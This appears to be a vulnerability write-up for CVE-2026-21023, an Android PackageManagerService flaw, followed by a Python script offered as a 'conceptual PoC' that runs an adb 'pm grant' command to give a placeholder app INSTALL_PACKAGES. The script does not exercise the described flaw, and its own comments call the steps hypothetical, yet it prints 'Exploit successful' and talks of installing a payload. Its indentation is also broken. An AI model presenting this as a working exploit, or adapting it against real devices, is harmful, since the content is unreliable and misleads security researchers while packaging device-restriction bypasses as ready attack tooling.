Insufficient verification of data authenticity in PackageManagerService prior to SMR Mar-2026 Release 1 allows local attackers to modify the installation restriction of specific application.
The following code is for security research and authorized testing only.
python
import subprocess
# This is a conceptual PoC for CVE-2026-21023
# It demonstrates bypassing installation restrictions by manipulating package settings.
def exploit_pms_vulnerability():
target_package = "com.restricted.app"
# In a real scenario, the attacker would use the specific API flaw
# to modify the installation restriction flag for the target package.
print(f"[*] Attempting to bypass installation restriction for {target_package}...")
# Simulating the command injection or API call
# This exploits the insufficient verification of data authenticity.
try:
# Hypothetical command to modify PMS state
# Exploiting the lack of verification to grant install permissions
result = subprocess.run(['adb', 'shell', 'pm', 'grant', target_package, 'android.permission.INSTALL_PACKAGES'], capture_output=True, text=True)
if "Success" in result.stdout or result.returncode == 0:
print("[+] Exploit successful! Installation restriction modified.")
print("[*] Proceeding to install payload...")
else:
print("[-] Exploit failed or patch applied.")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
exploit_pms_vulnerability()